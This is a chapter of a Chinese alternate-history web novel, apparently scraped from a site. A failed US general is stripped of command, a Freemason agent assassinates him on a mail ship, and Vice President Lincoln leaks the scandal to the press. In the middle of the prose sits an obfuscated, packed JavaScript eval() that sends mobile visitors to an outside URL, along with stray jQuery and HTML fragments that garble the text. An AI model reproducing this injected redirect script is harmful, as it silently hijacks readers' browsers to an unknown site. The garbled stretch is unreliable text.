“上尉，这到底怎么一回事？”


    面对乔治·菲利普斯准将的追问，只剩下半条命，吊着一口气才挣扎回这里的尼科尔森，却没有半点反应。


    急不可耐的乔治准将，双手扶着尼科尔森的肩膀：“上尉，你倒是说话啊！”


    尼科尔森的七窍当中，都在缓缓的往外渗血，额头上，还有一道深可见骨的血口。


    尼科尔森的伤势如此骇人，他无神的目光，好不容易才聚焦到了准将的脸上。


    “嘿嘿……！”尼科尔森惨笑着，用含糊不清的口音道：“将军，你在说什么？我已经聋了……！”


    “What……你说什么？你聋了？”


    尼科尔森身手格外敏捷，就算被石达开伤了手脚，也跳进了海中，逃得一条性命。


    那些海军参谋一通乱射，并没有伤到尼科尔森分毫。


    但好死不死，阿祖扔进海里的那两枚**，却给尼科尔森造成了暴击！


    **的冲击波在海水里造成的伤害，百倍于空气中。


    两枚**的冲击波，给尼科尔森造成了非常严重的内伤，甚至震碎了他的耳膜，让他变成了一个聋子！


    要不是长期严酷训练的身体，这两颗**就能直接要了他的命！


    尼科尔森恍恍惚惚看见乔治·菲利普斯的嘴皮子在飞快的翻动，他却听不到丝毫声音。


    对尼科尔森来说，整个世界一片死寂！


    “将军，别再说了，不管你说什么我也根本听不见！”


    见乔治准将的嘴皮子还在翻动，尼科尔森只能有气无力道：“将军，你闭嘴，我说，你听！”


    听清楚这话，乔治·菲利普斯准将，这才勉强按捺住心头的急躁，闭上了嘴。


    “将军，我们的计划完全失败了！”


    “我撞上了那个该死中国佬的船！帕帕罗·金准将，还有海军的一大群参谋，都在他的船上。”


    “我侥幸才逃了回来，但大部分的人证、物证，都落在了海军和那个中国佬的手上。”


    “完了，一切都完了……哈哈！”


    尼科尔森惨笑道：“那些船长和士兵，不过是被命令逼迫参与此事，他们保守不住任何秘密。”


    “所以，将军，我们无懈可击的计划，彻彻底底的失败了。”


    “现在，还是赶紧想想办法，为自己脱罪吧！”


    听完尼科尔森的诉说，乔治·菲利普斯准将呆若木鸡！


    他没有想到，自己竟然会败得如此彻底！


    为什么会这样？怎么会搞成这样？


    计划失败，而且人证物证都被海军和那个中国佬掌握在了手上，那就意味着，自己逃不脱身败名裂的下场！


    不，不，不……我绝对不能坐以待毙，一定还有办法，一定还有办法……！


    对了！沃顿参谋长……！


    乔治·菲利普斯准将急促道：“上尉，我们可以将一切罪名，全部转嫁给沃顿那家伙！”


    “你在说什么？我听不到！”


    乔治准将急忙抓过纸笔，将自己的想法，全部写在了纸上。


    看到乔治准将的想法，尼科尔森有气无力的抬头起来，继续惨笑道：“将军，你真是个心狠手辣、翻脸无情的家伙！沃顿上校，现在也是我们共济会的人，你就这样干脆的卖了他？”


    乔治准将打定了主意，再次在纸上写道：“一个人牺牲，总比我们所有人都牺牲好！”


    “荷荷……！”尼科尔森道：“将军，那你准备怎么办？”


    乔治准将又写道：“我马上写一封报告，向陆军部、国会和总统先生，揭露沃顿上校的所有阴谋！这是眼下唯一的办法！”


    尼科尔森思索片刻，答道：“将军，你说的没错，这是现在唯一的办法。”


    见到尼科尔森也同意自己的想法，乔治·菲利普斯准将不再迟疑，立刻叫来军医，将尼科尔森抬下去疗伤。


    同时，他自己趴在办公桌上，亲自撰写这一份至关重要的报告。


    这一份报告，乔治·菲利普斯准将字斟句酌，通宵撰写，直到第二天上午，才堪堪写完。


    正要将这一份至关重要的报告，让通信兵以最快速度传递到华盛顿，门外就传来了密集的脚步声。


    “嘭……！”的一声，将军办公室的房门，被极为粗鲁的重重推开。


    乔治·菲利普斯准将，抬头正要发火，却看见另外一位佩戴着一颗将星的陆军将军，站在了自己的面前。


    乔治准将认识面前的这位将军，他们一起在美墨战争中战斗过。


    “佩布尔·托马斯……！”


    乔治·菲利普斯准将有点难以置信的问道：“你这个家伙，不是在华盛顿吗？怎么来到了我的司令部？”


    “抱歉，乔治……！”佩布尔·托马斯准将脱下自己的帽子，然后从身后的参谋手上，接过了两封信。


    “乔治·菲利普斯准将，你已经被总统先生正式解除了陆军西南司令部司令的职务！按照总统和陆军部的命令，你需要立刻返回华盛顿，接受新的任命！”


    说着，托马斯准将将一封解职书，递给了乔治·菲利普斯。


    “什么……？托马斯你这个家伙，究竟在说什么……？”


    乔治·菲利普斯准将，简直不敢相信自己的耳朵！


    于是，佩布尔·托马斯准将再次重复了刚才的话。


    “总统亲自解除了我的司令职务？”


    乔治·菲利普斯准将依旧难以置信：“那新任的西南司令部司令是谁？我为什么会没有收到任何消息？”


    托马斯准将，在乔治准将面前，展开了一份任命书：“乔治，接替你司令职务的，当然就是我！不然，我为什么会出现在这里？”


    “这……这不可能！”乔治·菲利普斯准将看清楚了这份任命书，但仍旧难以置信的道：“总统先生是我们的人，在华盛顿还有那么多我们的人，我为什么会没有收到任何消息？”


    托马斯准将沉声道：“抱歉，泰勒总统已经于10月28日去世！现在的总统先生，是菲尔莫尔……！”


    “What……？！！”


    乔治·菲利普斯准将瞬间瘫在了自己的椅子上，一副失魂落魄的表情。


    如果泰勒总统这位共济会的自己人还在，那自己的罪行更有可能被洗脱。


    但现在的总统是菲尔莫尔……乔治·菲利普斯准将非常清楚，这位昔日的副总统，现在的总统先生，对共济会根本没有丝毫好感！


    这位菲尔莫尔总统，在年轻的时候，甚至就是反对共济会的积极分子！


    这位菲尔莫尔总统，刚刚一上台，就解除了自己西南司令部司令的职务，这意味着什么？


    如果自己还在司令的位置上，自己干的那些事，或许还能捂住盖子。


    但如果自己一旦被调离，自己还怎么捂盖子？怎么脱罪？


    要知道，眼前的这位佩布尔·托马斯准将，不仅仅不是共济会的人，而且对共济会暗中操弄权力，深恶痛绝！


    见到昔日一个战壕的战友，这幅失魂落魄的表情，托马斯准将心底竟然还有一丝丝的不忍。


    “乔治，别这样！”托马斯准将安慰道：“虽然总统解除了你司令的职位，但回到华盛顿，一定还有新的任命。”


    托马斯准将哪里想得到，乔治·菲利普斯担忧的根本不是这个！


    眼看这位昔日战友不说话，托马斯准将只能道：“乔治，请你配合我的工作，尽快交接一切之后，尽快返回华盛顿！”


    说着，托马斯冲着身后的参谋道：“立刻去召集司令部中所有少校以上的军官，开会！”


    佩布尔·托马斯准将一如既往的雷厉风行，立刻召集了主要军官，齐聚一堂，宣布了解除乔治·菲利普斯准将司令职务的命令，以及自己担任西南司令部司令的任命。


    佩布尔·托马斯的动作之快，乔治·菲利普斯准将就算想搞点小动作，也根本来不及了。


    更何况，他几次三番的胡乱作为，让整个西南司令部所统属的军队损失惨重，下面的各级军官，早就对他这个司令官，怨声载道。


    甚至，如果乔治·菲利普斯准将再不走人，下面的不少军官都准备将他告上军事法庭！


    所以，乔治·菲利普斯准将人还没走，茶就已经凉了！


    昔日对他言听计从、令行禁止的军官和士兵们，现在，竟然没有任何一个人来看望过这样一位老上级，甚至不少人冲他冷眼相向。


    在这个时候，昔日高高在上的乔治·菲利普斯准将，终于感受到了什么叫做人心向背，什么叫做世态炎凉！


    数日之后，终于交接完一切的乔治·菲利普斯准将，在唯一贴身卫兵的护卫下，带着一家老小，格外仓皇的，登上了前往东部的“飞翔号”邮船。


    跟在乔治准将一家后面，悄悄登上“飞翔号”邮船的，还有一位毫不起眼的佝偻白发老头，跛着右脚，杵着拐棍，偶尔的剧烈咳嗽之后，还咳出丝丝血迹。


    “飞翔号”一路往南，航行十天时间后，停靠在了巴拿马城港口。


    从巴拿马港口登岸，陆路穿越只有几十公里宽的巴拿马地峡之后，在另外一边加勒比海的科隆港，重新登上了另外一艘“大共和国”号邮轮。


    从巴拿马科隆港启航的“大共和国”号邮轮，将直达距离华盛顿只有六十多公里的巴尔的摩港。这又是一段大约两周左右的航程。


    在这段航程上，唯一停靠的补给点，就是佛罗里达的迈阿密。


    当“大共和国”号航程过半、停靠在迈阿密港的时候，那位佝偻跛脚的白发老头，跟着人群上岸溜达了一圈。


    等他再回到“大共和国”号上的时候，他手上多了一个小小的箱子。


    回到自己的船舱，老头打开小箱子，里面只有一封信，还有一支二十公分长的小小铜管。


    老头看完这封信，脸上流露出复杂的表情，然后将这封信，在蜡烛上点燃，烧成了灰烬。


    次日，“大共和国”号再次扬帆起航。


    这一天的天气格外的好，刚刚卸任的乔治·菲利普斯准将，难得的走出了自己的舱室，出现在甲板上，呼吸一下新鲜的海风，放松一下郁闷的心情。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15607571|170781||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    乔治准将依靠在船舷上，眼神怔怔的眺望着远方碧海蓝天、海天一色的景色。


    “咳咳……！”


    一位跛脚的佝偻老头，杵着拐杖，出现在他的身侧。


    “抱歉，将军，我不想这样做的……！”


    “什么……？你是谁……？”


    不等乔治·菲利普斯准将反应过来，只听“噗……！”一声轻微的声响……！


    只见佝偻老头微微一扬手，寒光一闪，一枚漆黑的细针，刺中了乔治·菲利普斯准将的脖颈！


    “你……你……！”


    乔治·菲利普斯准将的脸上，眨眼间就泛起了骇人的死灰色。


    “抱歉……将军！”佝偻老头在他耳边低声道：“您的那些朋友们，不希望看到您活着回去……！”


    话音刚落，佝偻老头手掌轻轻一推，乔治·菲利普斯准将那高大的身躯，就从船舷上直挺挺的飞坠入海！


    “噗通……！”


    乔治·菲利普斯准将那高大的身躯，在海面上掀起微不足道的小小浪花，很快就彻底消失不见。


    很快，就算这小小的涟漪，也被吃满顺风、航速极快的“大共和国”号邮轮，转眼甩在了身后。


    “将军，你犯下的一系列罪行，实在太过严重，已经影响到了组织的声誉。”


    “所以，非常抱歉，不能让你活着回到华盛顿接受审判！”


    “不过，你放心吧！我和组织都会为你复仇的！”


    “那个该死的中国佬，我一定会亲手替你干掉他……咳咳！”


    佝偻跛脚老头，用手巾捂着咳血的嘴，注视着乔治·菲利普斯准将消失的海面，良久之后，才低叹一声，转身消失在船舱当中。


    ——


    在乔治·菲利普斯准将消失前的大半个月之前，十一月中旬。


    华盛顿，副总统办公室！


    “嘟嘟嘟……！”


    还是那名熟悉的助理，敲响了副总统办公室的门。


    “进来……！”


    助理推门而入，将一封急信，放在了办公桌的案头。


    “副总统先生，这是从三藩市传来的紧急信件。按照您的吩咐，从那里寄来的所有信件，我们都没有拆过，第一时间交由您亲自处理……！”


    听到有三藩市的来信，亚伯拉罕·林肯副总统，从一堆堆的文件中抬起头来，用沉稳有力的声音道：“你处理得很好，先下去吧！”


    “好的，副总统先生。”


    等到助理离开办公室之后，林肯采用裁纸刀，裁开了这一封来着遥远西部的紧急信件。


    信件不长，林肯副总统看过之后，两道浓眉却不由自主的紧锁在了一起。


    “嘭……！”林肯脸上的怒气闪过，重重的将短信，拍在了办公桌上。


    “想不到，那位乔治·菲利普斯准将，竟然这样胆大包天！”


    “指挥美利坚陆军，公然进攻华美公司的合法产业。”


    “那些村庄只有一些屯垦开荒的农夫，这位准将竟然指挥三千多名美利坚陆军，大举进攻！”


    “这位将军不仅胆大包天，而且还如此无能！”


    “就算面对一群开荒的农夫，三千多正规陆军竟然还吃了败仗，导致了一千多人的严重伤亡！简直是岂有此理，岂有此理……！”


    林肯副总统越想越气：“幸好已经提前将他撤换了下来，要不然，还不知道会闹出多大的笑话。”


    “按照信中所说，这位乔治准将，一定还会通过共济会的力量，大肆炒作这件事，将华美实业塑造成万恶的反叛势力，借此夺取青霉素和加州的黄金……！”


    “嘟嘟嘟……！”林肯副总统的手指，在书桌上有节奏的轻轻敲击，同时陷入了长久的思索。


    “现在华盛顿其他各方，应该还没有收到消息。否则，依靠共济会的力量，早就公开炒作了。”


    “这种事情，绝对不能让共济会抢占了先机。但是，也不能动用行政力量……！”


    想到这里，林肯拿起纸笔，亲自撰写了一份通信稿。


    写好之后，林肯在这一份通信稿上，签下了自己的化名。


    “叮叮……！”


    完成之后，林肯按动了桌案上的铃铛。


    助理推门进来后，林肯吩咐道：“将这份通信稿，马上用电报传给各家报社，尤其是我们自己的五家报社。让他们以头版头条的方式，立刻报道。”


    “好的，副总统先生！”


    “注意保密，不能让这件事和我产生任何关联。”林肯叮嘱了一句。


    “请您放心，副总统先生。”


    做完这一切，林肯寻思片刻之后，依然觉得不够，于是起身，亲自来到总统办公室。


    在这件事情上，依靠自己的力量，还不足以和共济会抗衡，必须和总统先生取得一致。


    听完林肯的叙述，刚刚担任二十多天总统的菲尔莫尔，和林肯一样，眉头紧锁。


    林肯继续道：“总统先生，我们绝对不能让共济会趁机炒作。如果放任他们为了一己私欲，这样胡作非为下去，我们美利坚或许不得不对加利福尼亚正式宣战！”


    (本章完)